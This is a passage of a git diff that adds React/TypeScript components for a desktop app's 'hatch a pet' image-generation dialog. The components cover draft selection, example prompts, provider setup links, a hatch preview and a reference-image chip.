+                  placeholder={searchPlaceholder}
+                  value={searchValue}
+                />
+              )}
+            </div>
+            {hasTabs ? <ShellTabs activeTab={activeTab} onTabChange={onTabChange} tabs={tabs!} /> : <span />}
+            <div className="flex min-w-0 items-center justify-end">{searchTrailingAction}</div>
+          </div>
+        )}
+        {filters ? <div className="flex flex-wrap items-center gap-x-2 gap-y-1 px-3 pb-2">{filters}</div> : null}
+      </div>
+      <div className="min-h-0 flex-1 overflow-hidden bg-(--ui-chat-surface-background)">{children}</div>
+    </section>
+  )
+}
diff --git a/ui-desktop/src/app/pet-generate/components/draft-grid.tsx b/ui-desktop/src/app/pet-generate/components/draft-grid.tsx
new file mode 100644
index 000000000..d8e98a415
--- /dev/null
+++ b/ui-desktop/src/app/pet-generate/components/draft-grid.tsx
@@ -0,0 +1,125 @@
+import { PixelEggSprite } from '@/components/pet/pixel-egg-sprite'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { PawPrint } from '@/lib/icons'
+import { selectableCardClass } from '@/lib/selectable-card'
+import { cn } from '@/lib/utils'
+
+const VARIANT_COUNT = 4
+
+interface DraftGridProps {
+  drafts: { index: number; dataUri: string }[]
+  generating: boolean
+  hasDrafts: boolean
+  onCancel: () => void
+  onHatch: () => void
+  onRemix: (draft: { index: number; dataUri: string }) => void
+  onSelect: (index: number) => void
+  selected: number | null
+}
+
+export function DraftGrid({
+  drafts,
+  generating,
+  hasDrafts,
+  onCancel,
+  onHatch,
+  onRemix,
+  onSelect,
+  selected
+}: DraftGridProps) {
+  const { t } = useI18n()
+  const copy = t.commandCenter.generatePet
+
+  const slots = generating
+    ? Array.from({ length: VARIANT_COUNT }, (_, i) => drafts.find(draft => draft.index === i) ?? null)
+    : drafts
+
+  return (
+    <div className="flex flex-col gap-2">
+      <div className="flex items-center justify-between text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+        <span className={cn(generating && 'shimmer shimmer-color-primary opacity-40', !generating && 'invisible')}>
+          {copy.generating}
+        </span>
+        <span className="tabular-nums">
+          {Math.min(drafts.length, VARIANT_COUNT)}/{VARIANT_COUNT}
+        </span>
+      </div>
+
+      <div className="grid grid-cols-2 gap-2">
+        {slots.map((draft, i) => {
+          // A streamed draft is selectable immediately — even mid-generation —
+          // so the user can commit to one without waiting for the rest.
+          const isSelected = draft != null && selected === draft.index
+
+          return (
+            <div className="group relative aspect-[192/208]" key={draft ? `draft-${draft.index}` : `slot-${i}`}>
+              <button
+                className={cn(
+                  'absolute inset-0 flex items-center justify-center overflow-hidden',
+                  selectableCardClass({ active: isSelected, prominent: true })
+                )}
+                disabled={draft == null}
+                onClick={() => draft != null && onSelect(draft.index)}
+                type="button"
+              >
+                {draft != null ? (
+                  // Hatches into place as each draft streams back.
+                  <img
+                    alt=""
+                    className="pet-reveal size-full object-contain p-1.5"
+                    draggable={false}
+                    src={draft.dataUri}
+                  />
+                ) : (
+                  // Incubating: a creme egg bouncing on its contact shadow.
+                  <div className="relative z-10 flex flex-col items-center">
+                    <PixelEggSprite index={i} mode="bounce" size={48} />
+                    <span className="pet-egg-shadow pet-egg-shadow--sm" style={{ marginTop: '-0.3rem' }} />
+                  </div>
+                )}
+              </button>
+
+              {/* Remix: branch a new round off this look. Revealed on hover/focus. */}
+              {draft != null && !generating && (
+                <Tip label={copy.remix}>
+                  <Button
+                    aria-label={copy.remix}
+                    className={cn(
+                      'absolute right-1 top-1 z-20',
+                      'text-(--ui-text-tertiary) opacity-10 transition',
+                      'hover:bg-transparent hover:text-foreground focus-visible:opacity-100 group-hover:opacity-100'
+                    )}
+                    onClick={event => {
+                      event.stopPropagation()
+                      onRemix(draft)
+                    }}
+                    size="icon-xs"
+                    type="button"
+                    variant="ghost"
+                  >
+                    <Codicon name="git-branch" size={12} />
+                  </Button>
+                </Tip>
+              )}
+            </div>
+          )
+        })}
+      </div>
+
+      {/* Same abort/go-back text link in both states (sits right under the grid);
+          once drafts land, the full-width Hatch drops in below it. */}
+      <Button className="self-center" onClick={onCancel} size="xs" variant="text">
+        {t.common.cancel}
+      </Button>
+      {hasDrafts && (
+        <Button className="w-full" disabled={selected === null} onClick={onHatch}>
+          <PawPrint />
+          {copy.hatch}
+        </Button>
+      )}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/pet-generate/components/empty-hint.tsx b/ui-desktop/src/app/pet-generate/components/empty-hint.tsx
new file mode 100644
index 000000000..99b9822ea
--- /dev/null
+++ b/ui-desktop/src/app/pet-generate/components/empty-hint.tsx
@@ -0,0 +1,27 @@
+import { Button } from '@/components/ui/button'
+
+interface EmptyHintProps {
+  onExample: (prompt: string) => void
+}
+
+// Creative seed prompts — specifics make better pets (petdex's own advice).
+// Short chips that wrap into a tight, centered cluster (capped width → 2 rows).
+const EXAMPLE_PROMPTS = ['bubble-tea otter', 'sock elf', 'pixel dragon', 'office cat', 'neon axolotl', 'moss golem']
+
+export function EmptyHint({ onExample }: EmptyHintProps) {
+  return (
+    <div className="flex max-w-[300px] flex-wrap place-content-center place-items-center gap-2">
+      {EXAMPLE_PROMPTS.map(example => (
+        <Button
+          className="h-auto w-fit rounded-full font-normal"
+          key={example}
+          onClick={() => onExample(`a ${example}`)}
+          size="xs"
+          variant="outline"
+        >
+          {example}
+        </Button>
+      ))}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/pet-generate/components/generate-unavailable.tsx b/ui-desktop/src/app/pet-generate/components/generate-unavailable.tsx
new file mode 100644
index 000000000..a84a27dfb
--- /dev/null
+++ b/ui-desktop/src/app/pet-generate/components/generate-unavailable.tsx
@@ -0,0 +1,54 @@
+import { Button } from '@/components/ui/button'
+import { ExternalLink } from '@/lib/external-link'
+import { PawPrint, Settings2 } from '@/lib/icons'
+
+interface GenerateUnavailableProps {
+  onSetup: () => void
+}
+
+// Shown when no reference-capable image backend is configured: generation is
+// impossible, so we replace the prompt entirely with a friendly path to set one
+// up (in-app) plus where to grab a key.
+export function GenerateUnavailable({ onSetup }: GenerateUnavailableProps) {
+  return (
+    <div className="flex flex-col items-center gap-4 text-center">
+      <span className="grid size-11 place-items-center rounded-full bg-primary/10 text-primary">
+        <PawPrint className="size-5" />
+      </span>
+      <div className="space-y-1.5">
+        <p className="text-[length:var(--conversation-text-font-size)] font-semibold">
+          Add an image backend to generate
+        </p>
+        <p className="mx-auto max-w-[19rem] text-[length:var(--conversation-caption-font-size)] leading-relaxed text-(--ui-text-tertiary)">
+          Hatching a custom pet needs a provider that can ground on a reference image.
+        </p>
+      </div>
+      <Button onClick={onSetup} size="sm">
+        <Settings2 className="size-4" />
+        Set up image generation
+      </Button>
+      <p className="flex flex-wrap items-center justify-center gap-x-1.5 text-[0.6875rem] text-(--ui-text-tertiary)">
+        <span>Grab a key from</span>
+        <ExternalLink href="https://portal.invalid" showExternalIcon={false}>
+          Nous Portal
+        </ExternalLink>
+        <span>·</span>
+        <ExternalLink
+          className="opacity-40 transition-opacity hover:opacity-100"
+          href="https://openrouter.ai/keys"
+          showExternalIcon={false}
+        >
+          OpenRouter
+        </ExternalLink>
+        <span>·</span>
+        <ExternalLink
+          className="opacity-40 transition-opacity hover:opacity-100"
+          href="https://platform.openai.com/api-keys"
+          showExternalIcon={false}
+        >
+          OpenAI
+        </ExternalLink>
+      </p>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/pet-generate/components/hatch-preview.tsx b/ui-desktop/src/app/pet-generate/components/hatch-preview.tsx
new file mode 100644
index 000000000..46ef28343
--- /dev/null
+++ b/ui-desktop/src/app/pet-generate/components/hatch-preview.tsx
@@ -0,0 +1,154 @@
+import { useEffect, useState } from 'react'
+
+import { PetSprite } from '@/components/pet/pet-sprite'
+import { PetStarShower } from '@/components/pet/pet-star-shower'
+import { PixelEggSprite } from '@/components/pet/pixel-egg-sprite'
+import { Alert, AlertDescription } from '@/components/ui/alert'
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import { useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import { Loader2, PawPrint, RefreshCw } from '@/lib/icons'
+import { type PetInfo } from '@/store/pet'
+
+import { frameCountForRow } from '../lib/frame-count'
+
+const PREVIEW_SCALE = 0.7
+const PREVIEW_STATE_MS = 1400
+
+const PREVIEW_ROWS = [
+  'idle',
+  'waving',
+  'running-right',
+  'running-left',
+  'running',
+  'review',
+  'jumping',
+  'failed',
+  'waiting'
+]
+
+interface HatchPreviewProps {
+  pet: PetInfo
+  adopting: boolean
+  error: string | null
+  onAdopt: (name: string) => void
+  onDiscard: () => void
+}
+
+export function HatchPreview({ pet, adopting, error, onAdopt, onDiscard }: HatchPreviewProps) {
+  const { t } = useI18n()
+  const copy = t.commandCenter.generatePet
+  // Empty so the "Name your pet" placeholder shows; blank adopt keeps the
+  // provisional name from the prompt.
+  const [name, setName] = useState('')
+  // Play the egg's crack/hatch frames once before swapping in the live pet.
+  const [revealed, setRevealed] = useState(false)
+  // Right after the egg cracks the pet plays its "yay" jump a couple times, then
+  // hands off to the normal state-cycling preview.
+  const [celebrating, setCelebrating] = useState(false)
+  const [stateIndex, setStateIndex] = useState(0)
+
+  const previewRows = (pet.stateRows?.length ? pet.stateRows : PREVIEW_ROWS).filter(
+    row => frameCountForRow(pet, row) > 0
+  )
+
+  const rows = previewRows.length > 0 ? previewRows : ['idle']
+  const activeRow = rows[stateIndex % rows.length] ?? 'idle'
+  const canJump = frameCountForRow(pet, 'jumping') > 0
+  const rowOverride = celebrating && canJump ? 'jumping' : activeRow
+
+  useEffect(() => {
+    const id = setInterval(() => setStateIndex(i => (i + 1) % rows.length), PREVIEW_STATE_MS)
+
+    return () => clearInterval(id)
+  }, [rows.length])
+
+  // On reveal: celebrate (jump) ~2 loops, then drop into the cycling preview.
+  useEffect(() => {
+    if (!revealed) {
+      return
+    }
+
+    setCelebrating(true)
+
+    const id = setTimeout(
+      () => {
+        setCelebrating(false)
+        setStateIndex(0)
+      },
+      2 * (pet.loopMs ?? 1100)
+    )
+
+    return () => clearTimeout(id)
+  }, [revealed, pet.loopMs])
+
+  useEffect(() => {
+    setStateIndex(0)
+    setName('')
+    setRevealed(false)
+    setCelebrating(false)
+  }, [pet.slug])
+
+  const previewInfo: PetInfo = { ...pet, scale: PREVIEW_SCALE }
+
+  return (
+    <div className="flex flex-col items-center gap-2">
+      {/* Fills the (now narrow) dialog so the pet frame is the screen width. */}
+      <div className="relative flex aspect-[192/208] w-full items-center justify-center overflow-hidden rounded-lg border border-(--ui-stroke-tertiary) bg-(--ui-bg-quinary)">
+        {revealed ? (
+          <>
+            <div className="relative inline-block">
+              <span aria-hidden className="pet-contact-shadow" />
+              <div className="pet-reveal relative z-10">
+                <PetSprite info={previewInfo} rowOverride={rowOverride} />
+              </div>
+            </div>
+            <PetStarShower />
+          </>
+        ) : (
+          // The egg cracks open, then we swap in the live pet.
+          <PixelEggSprite
+            mode="hatch"
+            onDone={() => {
+              setRevealed(true)
+              triggerHaptic('crisp')
+            }}
+            size={150}
+          />
+        )}
+      </div>
+
+      <Input
+        autoFocus
+        className="w-full"
+        onChange={event => setName(event.target.value)}
+        onKeyDown={event => {
+          if (event.key === 'Enter') {
+            event.preventDefault()
+            onAdopt(name)
+          }
+        }}
+        placeholder={copy.namePlaceholder}
+        value={name}
+      />
+
+      {error && (
+        <Alert variant="destructive">
+          <AlertDescription>{error}</AlertDescription>
+        </Alert>
+      )}
+
+      <div className="flex w-full items-center gap-1.5">
+        <Button disabled={adopting} onClick={onDiscard} variant="ghost">
+          <RefreshCw />
+          {copy.startOver}
+        </Button>
+        <Button className="flex-1" disabled={adopting} onClick={() => onAdopt(name)}>
+          {adopting ? <Loader2 className="animate-spin" /> : <PawPrint />}
+          {copy.adopt}
+        </Button>
+      </div>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/pet-generate/components/hatching-view.tsx b/ui-desktop/src/app/pet-generate/components/hatching-view.tsx
new file mode 100644
index 000000000..8e347741d
--- /dev/null
+++ b/ui-desktop/src/app/pet-generate/components/hatching-view.tsx
@@ -0,0 +1,24 @@
+import { PetEggHatch } from '@/components/pet/pet-egg-hatch'
+import { useI18n } from '@/i18n'
+import { cancelHatch, type PetHatchStage } from '@/store/pet-generate'
+
+interface HatchingViewProps {
+  stage: PetHatchStage | null
+}
+
+// The hatch progress screen — a beating egg with a phase-tracking subtitle
+// (per-row → composing → saving).
+export function HatchingView({ stage }: HatchingViewProps) {
+  const { t } = useI18n()
+  const copy = t.commandCenter.generatePet
+
+  const subtitle = stage
+    ? stage.phase === 'row'
+      ? copy.hatchRow(stage.state ?? '', stage.done ?? 0, stage.total ?? 0)
+      : stage.phase === 'compose'
+        ? copy.hatchComposing
+        : copy.hatchSaving
+    : copy.hatchingSub
+
+  return <PetEggHatch cancelLabel={t.common.cancel} onCancel={cancelHatch} subtitle={subtitle} />
+}
diff --git a/ui-desktop/src/app/pet-generate/components/provider-picker.tsx b/ui-desktop/src/app/pet-generate/components/provider-picker.tsx
new file mode 100644
index 000000000..dad76c78d
--- /dev/null
+++ b/ui-desktop/src/app/pet-generate/components/provider-picker.tsx
@@ -0,0 +1,51 @@
+import { useStore } from '@nanostores/react'
+
+import { DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger } from '@/components/ui/dropdown-menu'
+import { Check, ChevronDown } from '@/lib/icons'
+import { $petGenProvider, $petGenProviders, setPetGenProvider } from '@/store/pet-generate'
+
+// Image-backend picker for pet generation — the composer's model-pill pattern:
+// a quiet trigger + a dropdown of options. No per-option notes: every backend
+// resolves to the same faithful OpenAI image model, so there's no tradeoff to
+// describe. Hidden unless there are 2+ reference-capable backends (nothing to pick).
+export function ProviderPicker() {
+  const providers = useStore($petGenProviders)
+  const picked = useStore($petGenProvider)
+
+  if (providers.length < 2) {
+    return null
+  }
+
+  const fallback = providers.find(p => p.default) ?? providers[0]
+  const current = providers.find(p => p.name === picked) ?? fallback
+
+  return (
+    <DropdownMenu>
+      <DropdownMenuTrigger asChild>
+        {/* Plain text affordance (matches "Add a reference"), not a padded pill. */}
+        <button
+          className="flex h-6 items-center gap-1 text-[0.6875rem] text-(--ui-text-tertiary) transition hover:text-foreground"
+          type="button"
+        >
+          {current?.label}
+          <ChevronDown className="size-3" />
+        </button>
+      </DropdownMenuTrigger>
+      {/* The picker lives inside the pet-gen Dialog and portals to body, so its
+          menu needs the rung above the modal or it opens behind the dialog. */}
+      <DropdownMenuContent align="start" className="z-(--z-modal-popover)">
+        {providers.map(provider => (
+          <DropdownMenuItem
+            className="flex items-center gap-1.5"
+            key={provider.name}
+            // Picking the default clears the override (no need to pin it).
+            onSelect={() => setPetGenProvider(provider.default ? '' : provider.name)}
+          >
+            <span className="min-w-0 flex-1 truncate font-medium text-foreground">{provider.label}</span>
+            {provider.name === current?.name && <Check className="size-3.5 text-primary" />}
+          </DropdownMenuItem>
+        ))}
+      </DropdownMenuContent>
+    </DropdownMenu>
+  )
+}
diff --git a/ui-desktop/src/app/pet-generate/components/reference-chip.tsx b/ui-desktop/src/app/pet-generate/components/reference-chip.tsx
new file mode 100644
index 000000000..266658a9d
--- /dev/null
+++ b/ui-desktop/src/app/pet-generate/components/reference-chip.tsx
@@ -0,0 +1,48 @@
+import { useState } from 'react'
+
+import { ImageLightbox } from '@/components/chat/zoomable-image'
+import { useImageDownload } from '@/hooks/use-image-download'
+import { useI18n } from '@/i18n'
+import { X } from '@/lib/icons'
+
+interface ReferenceChipProps {
+  name: string
+  onRemove: () => void
+  src: string
+}
+
+// The reference photo as an attachment chip: filename + thumbnail that opens
+// the shared image viewer (lightbox), with a remove affordance.
+export function ReferenceChip({ name, onRemove, src }: ReferenceChipProps) {
+  const { t } = useI18n()
+  const { download, saving } = useImageDownload(src)
+  const [viewing, setViewing] = useState(false)
+
+  return (
+    <div className="ml-auto flex h-6 items-center gap-2 self-start rounded-lg border border-border/60 bg-background/50 pl-1 pr-2">
+      <button className="shrink-0" onClick={() => setViewing(true)} title={t.desktop.openImage} type="button">
+        <img alt={name} className="size-4 rounded-md object-cover" src={src} />
+      </button>
+
+      <span className="max-w-40 truncate text-[0.64rem] font-medium text-foreground/50">{name || 'Reference'}</span>
+      <button
+        aria-label="Remove reference"
+        className="text-(--ui-text-tertiary) transition not-hover:opacity-50"
+        onClick={onRemove}
+        type="button"
+      >
+        <X className="size-3" />
+      </button>
+
+      <ImageLightbox
+        alt={name}
+        copy={t.desktop}
+        onClick={download}
+        onOpenChange={setViewing}
+        open={viewing}
+        saving={saving}
+        src={src}
+      />
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/pet-generate/pet-generate-content.tsx b/ui-desktop/src/app/pet-generate/pet-generate-content.tsx
new file mode 100644
index 000000000..aead2dd14
--- /dev/null
+++ b/ui-desktop/src/app/pet-generate/pet-generate-content.tsx
@@ -0,0 +1,336 @@
+import { useStore } from '@nanostores/react'
+import { useEffect, useRef, useState } from 'react'
+import { useNavigate } from 'react-router'
+
+import { useGatewayRequest } from '@/app/gateway/hooks/use-gateway-request'
+import { SETTINGS_ROUTE } from '@/app/routes'
+import { Alert, AlertDescription } from '@/components/ui/alert'
+import { ConfirmDialog } from '@/components/ui/confirm-dialog'
+import { DialogHeader, DialogTitle } from '@/components/ui/dialog'
+import { GenerateButton } from '@/components/ui/generate-button'
+import { Input } from '@/components/ui/input'
+import { useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import { Egg, ImageIcon } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import {
+  $petGenAvailable,
+  $petGenDrafts,
+  $petGenError,
+  $petGenInput,
+  $petGenPreview,
+  $petGenRefImage,
+  $petGenRefName,
+  $petGenRemixConfirmed,
+  $petGenSelected,
+  $petGenStage,
+  $petGenStatus,
+  adoptHatched,
+  cancelGenerate,
+  checkPetGenAvailable,
+  cleanPetName,
+  closePetGenerate,
+  discardDrafts,
+  discardHatched,
+  generateDrafts,
+  hatchSelected,
+  markRemixConfirmed
+} from '@/store/pet-generate'
+
+import { DraftGrid } from './components/draft-grid'
+import { EmptyHint } from './components/empty-hint'
+import { GenerateUnavailable } from './components/generate-unavailable'
+import { HatchPreview } from './components/hatch-preview'
+import { HatchingView } from './components/hatching-view'
+import { ProviderPicker } from './components/provider-picker'
+import { ReferenceChip } from './components/reference-chip'
+import { readReferenceImage } from './lib/read-reference-image'
+
+// The generate → hatch → adopt controller. A thin view over the `pet-generate`
+// store; the store owns the steps and persists inputs across close/reopen.
+export function PetGenerateContent() {
+  const { t } = useI18n()
+  const copy = t.commandCenter.generatePet
+  const { requestGateway } = useGatewayRequest()
+  const navigate = useNavigate()
+
+  const status = useStore($petGenStatus)
+  const error = useStore($petGenError)
+  const available = useStore($petGenAvailable)
+  // `null` = not yet probed → stay optimistic (show the prompt); only the
+  // confirmed-no-backend case swaps in the setup card.
+  const unavailable = available === false
+  const drafts = useStore($petGenDrafts)
+  const selected = useStore($petGenSelected)
+  const preview = useStore($petGenPreview)
+  const stage = useStore($petGenStage)
+
+  // Inputs live in atoms so they survive a close/reopen (and background runs).
+  const prompt = useStore($petGenInput)
+  const refImage = useStore($petGenRefImage)
+  const refName = useStore($petGenRefName)
+  const fileRef = useRef<HTMLInputElement>(null)
+
+  // The draft awaiting the one-time "remix regenerates" confirmation.
+  const [remixPending, setRemixPending] = useState<{ dataUri: string } | null>(null)
+
+  // Probe backend availability on open — and again whenever the content
+  // remounts (e.g. after returning from the providers settings), so adding a
+  // key flips the setup card to the prompt with no manual refresh.
+  useEffect(() => {
+    void checkPetGenAvailable(requestGateway)
+  }, [requestGateway])
+
+  const busy = status === 'generating' || status === 'hatching'
+  const hasDrafts = drafts.length > 0
+  const generating = status === 'generating'
+
+  // The idle "describe a pet" state — egg + suggestions get generous, equidistant
+  // breathing room (gap-4) from the prompt; the working states stay compact.
+  const isEmptyState =
+    !hasDrafts &&
+    !generating &&
+    status !== 'hatching' &&
+    status !== 'preview' &&
+    status !== 'adopting' &&
+    status !== 'stale'
+
+  const generate = () => {
+    if ((prompt.trim() || refImage) && !busy) {
+      void generateDrafts(requestGateway, { prompt: prompt.trim(), referenceImage: refImage ?? undefined })
+    }
+  }
+
+  const clearReference = () => {
+    $petGenRefImage.set(null)
+    $petGenRefName.set('')
+  }
+
+  const pickReference = (file: File | undefined) => {
+    if (!file) {
+      return
+    }
+
+    const mapReferenceError = (reason: unknown): string => {
+      const message = reason instanceof Error ? reason.message.toLowerCase() : ''
+
+      return message.includes('too large') ? copy.referenceImageTooLarge : copy.referenceImageInvalid
+    }
+
+    void readReferenceImage(file)
+      .then(dataUrl => {
+        $petGenRefImage.set(dataUrl)
+        $petGenRefName.set(file.name)
+        // Clear picker-only errors once the reference is valid again.
+
+        if ($petGenStatus.get() === 'error' && $petGenDrafts.get().length === 0) {
+          $petGenStatus.set('idle')
+          $petGenError.set(null)
+        }
+      })
+      .catch(reason => {
+        $petGenRefImage.set(null)
+        $petGenRefName.set('')
+        $petGenError.set(mapReferenceError(reason))
+
+        if (!busy) {
+          $petGenStatus.set('error')
+        }
+      })
+  }
+
+  // One-click an example prompt straight into a draft round.
+  const runExample = (example: string) => {
+    $petGenInput.set(example)
+    void generateDrafts(requestGateway, { prompt: example })
+  }
+
+  // A remix re-runs generation grounded on an existing draft — same prompt, stay
+  // on step 2 — so the user explores variations without starting over.
+  const runRemix = (draft: { dataUri: string }) => {
+    void generateDrafts(requestGateway, { prompt: prompt.trim(), referenceImage: draft.dataUri })
+  }
+
+  // Slow, and it replaces the current drafts — so confirm once, then remember it.
+  const remixDraft = (draft: { dataUri: string }) => {
+    if (busy) {
+      return
+    }
+
+    if ($petGenRemixConfirmed.get()) {
+      runRemix(draft)
+
+      return
+    }
+
+    setRemixPending(draft)
+  }
+
+  // Hatch the selected draft. The user can pick one before the rest stream in —
+  // if so, abort the remaining generations first (keeping the drafts we have).
+  // The prompt is grounding text, not a label; the user names it on reveal.
+  const hatch = () => {
+    if (selected === null) {
+      return
+    }
+
+    if (generating) {
+      cancelGenerate()
+    }
+
+    void hatchSelected(requestGateway, { name: cleanPetName(prompt), prompt: prompt.trim() })
+  }
+
+  const adopt = (finalName: string) => {
+    void adoptHatched(requestGateway, finalName).then(out => {
+      if (out.ok) {
+        triggerHaptic('crisp')
+        closePetGenerate()
+      }
+    })
+  }
+
+  // The header title tracks the phase instead of sticking on "Generate a pet".
+  const headerTitle =
+    status === 'hatching' ? copy.spawning : status === 'preview' || status === 'adopting' ? copy.hatched : copy.title
+
+  // Send the user to set up a key without closing — the overlay yields to the
+  // settings route (useRouteOverlayActive) and reappears + re-checks on return.
+  const setupImageGen = () => navigate(`${SETTINGS_ROUTE}?tab=providers`)
+
+  // Prompt input only belongs on the describe/draft screens (and never when
+  // there's no backend to generate with).
+  const showPrompt = !unavailable && status !== 'hatching' && status !== 'preview' && status !== 'adopting'
+
+  return (
+    <>
+      {unavailable ? (
+        <DialogTitle className="sr-only">{copy.title}</DialogTitle>
+      ) : (
+        <DialogHeader>
+          <DialogTitle icon={Egg}>{headerTitle}</DialogTitle>
+        </DialogHeader>
+      )}
+
+      <div className={cn('flex min-h-0 flex-1 flex-col', isEmptyState ? 'gap-4' : 'gap-2.5')}>
+        {/* Concept prompt with the inline sparkle generate/stop affordance (the
+            same primitive as the commit-message + project-idea fields). */}
+        {showPrompt && (
+          <div className="flex flex-col gap-1.5">
+            <div className="relative">
+              <Input
+                autoFocus
+                className="pr-9"
+                onChange={event => $petGenInput.set(event.target.value)}
+                onKeyDown={event => {
+                  if (event.key === 'Enter') {
+                    event.preventDefault()
+                    generate()
+                  }
+                }}
+                placeholder={copy.placeholder}
+                value={prompt}
+              />
+              <GenerateButton
+                className="absolute right-1 top-1/2 -translate-y-1/2"
+                disabled={!prompt.trim() && !refImage}
+                generating={generating}
+                generatingLabel={t.common.cancel}
+                label={copy.generate}
+                // Inline cancel should match step-2 cancel semantics: abort and
+                // return to step 1 (prompt retained for quick tweaks).
+                onCancel={discardDrafts}
+                onGenerate={generate}
+              />
+            </div>
+
+            <div className="flex items-center gap-2">
+              <ProviderPicker />
+              {refImage ? (
+                <ReferenceChip name={refName} onRemove={clearReference} src={refImage} />
+              ) : (
+                <button
+                  className="ml-auto flex h-6 items-center gap-1.5 text-[0.6875rem] text-(--ui-text-tertiary) transition hover:text-foreground"
+                  onClick={() => fileRef.current?.click()}
+                  type="button"
+                >
+                  <ImageIcon className="size-3" />
+                  Add a reference
+                </button>
+              )}
+            </div>
+
+            {/* Optional reference photo — make a pet from the user's own image.
+                Styled like the chat composer's attachment pill. */}
+            <Input
+              accept="image/*"
+              className="hidden"
+              onChange={event => {
+                pickReference(event.target.files?.[0])
+                event.target.value = ''
+              }}
+              ref={fileRef}
+              type="file"
+            />
+          </div>
+        )}
+
+        {/* Hatch failed but the drafts are still here — show why above the grid so
+            the user can re-pick and retry without losing their options. */}
+        {status === 'error' && hasDrafts && (
+          <Alert variant="destructive">
+            <AlertDescription>{error || copy.genericError}</AlertDescription>
+          </Alert>
+        )}
+
+        {unavailable ? (
+          <GenerateUnavailable onSetup={setupImageGen} />
+        ) : status === 'stale' ? (
+          <Alert variant="destructive">
+            <AlertDescription>{copy.staleBackend}</AlertDescription>
+          </Alert>
+        ) : status === 'hatching' ? (
+          <HatchingView stage={stage} />
+        ) : (status === 'preview' || status === 'adopting') && preview ? (
+          <HatchPreview
+            adopting={status === 'adopting'}
+            error={error}
+            onAdopt={adopt}
+            onDiscard={() => void discardHatched(requestGateway)}
+            pet={preview}
+          />
+        ) : !hasDrafts && !generating ? (
+          // Doubles as the error-empty state — the failure reason rides the
+          // dialog's footer banner, so here we just offer the retry sparks.
+          <EmptyHint onExample={runExample} />
+        ) : (
+          <DraftGrid
+            drafts={drafts}
+            generating={generating}
+            hasDrafts={hasDrafts}
+            onCancel={discardDrafts}
+            onHatch={hatch}
+            onRemix={remixDraft}
+            onSelect={index => $petGenSelected.set(index)}
+            selected={selected}
+          />
+        )}
+      </div>
+
+      <ConfirmDialog
+        confirmLabel={copy.remix}
+        description={copy.remixConfirmBody}
+        onClose={() => setRemixPending(null)}
+        onConfirm={() => {
+          markRemixConfirmed()
+
+          if (remixPending) {
+            runRemix(remixPending)
+          }
+        }}
+        open={remixPending !== null}
+        title={copy.remixConfirmTitle}
+      />
+    </>
+  )
+}
diff --git a/ui-desktop/src/app/pet-generate/pet-generate-overlay.tsx b/ui-desktop/src/app/pet-generate/pet-generate-overlay.tsx
new file mode 100644
index 000000000..b2e602c50
--- /dev/null
+++ b/ui-desktop/src/app/pet-generate/pet-generate-overlay.tsx
@@ -0,0 +1,94 @@
+/**
+ * "Hatch a Pet" — a dedicated, Pokédex-style overlay for pet generation.
+ *
+ * Previously generation lived as a cramped nested page inside the Cmd-K command
+ * palette (~34rem popover). This is its own full Radix dialog with room to
+ * breathe: a device-framed header, its own concept prompt, a roomy draft grid
+ * that streams in live, and the egg-hatch + reveal flow. It's a thin view over
+ * the `pet-generate` store; the store owns the generate → hatch → adopt steps.
+ *
+ * This file is just the dialog shell + sizing; the flow lives in
+ * `PetGenerateContent`, and each screen is its own atomic component under
+ * `./components`.
+ */
+
+import { useStore } from '@nanostores/react'
+
+import { useGatewayRequest } from '@/app/gateway/hooks/use-gateway-request'
+import { useRouteOverlayActive } from '@/app/hooks/use-route-overlay-active'
+import { Dialog, DialogContent } from '@/components/ui/dialog'
+import { useI18n } from '@/i18n'
+import { cn } from '@/lib/utils'
+import {
+  $petGenDrafts,
+  $petGenerateOpen,
+  $petGenError,
+  $petGenStatus,
+  cleanupPetGenOnClose,
+  closePetGenerate
+} from '@/store/pet-generate'
+
+import { PetGenerateContent } from './pet-generate-content'
+
+export function PetGenerateOverlay() {
+  const { t } = useI18n()
+  const { requestGateway } = useGatewayRequest()
+  const open = useStore($petGenerateOpen)
+  const status = useStore($petGenStatus)
+  const error = useStore($petGenError)
+  const drafts = useStore($petGenDrafts)
+
+  // Yield the screen to a full-screen route overlay (e.g. /settings while the
+  // user adds an image-gen key) without tearing down — the store keeps us open,
+  // and we reappear + re-check on return.
+  if (useRouteOverlayActive()) {
+    return null
+  }
+
+  const handleOpenChange = (next: boolean) => {
+    if (!next) {
+      cleanupPetGenOnClose(requestGateway)
+      // Never interrupt in-flight work. Generating/hatching continues in the
+      // background; only an unadopted finished preview is discarded on close.
+      closePetGenerate()
+    }
+  }
+
+  // The draft screen needs room for the 2×2 grid; the single-pet screens
+  // (hatch egg, reveal) shrink to the pet's frame so it isn't lost in a wide box.
+  // `fitContent` lets the dialog size to content; the `min-w` floors each phase.
+  const single = status === 'hatching' || status === 'preview' || status === 'adopting'
+  const copy = t.commandCenter.generatePet
+
+  // The footer banner narrates the dialog's async state: the failure reason on a
+  // dead-end error, else the "you can close this, we'll notify you" reassurance
+  // while a generate/hatch runs in the background. On step 1, show a neutral ETA.
+  const working = status === 'generating' || status === 'hatching'
+  const errored = status === 'error' && drafts.length === 0
+  const stepOne = status === 'idle' || status === 'ready'
+
+  const banner = errored
+    ? error || copy.genericError
+    : working
+      ? copy.backgroundHint
+      : stepOne
+        ? copy.slowProviderHint
+        : undefined
+
+  return (
+    <Dialog onOpenChange={handleOpenChange} open={open}>
+      <DialogContent
+        aria-describedby={undefined}
+        banner={banner}
+        bannerTone={errored ? 'error' : 'info'}
+        bodyClassName="gap-4 text-center"
+        // Cap the width so a long banner (e.g. a provider refusal) wraps instead
+        // of stretching the dialog out; the min-w floors each phase.
+        className={cn(single ? 'min-w-[17rem] max-w-[20rem]' : 'min-w-[19rem] max-w-[22rem]')}
+        fitContent
+      >
+        {open && <PetGenerateContent />}
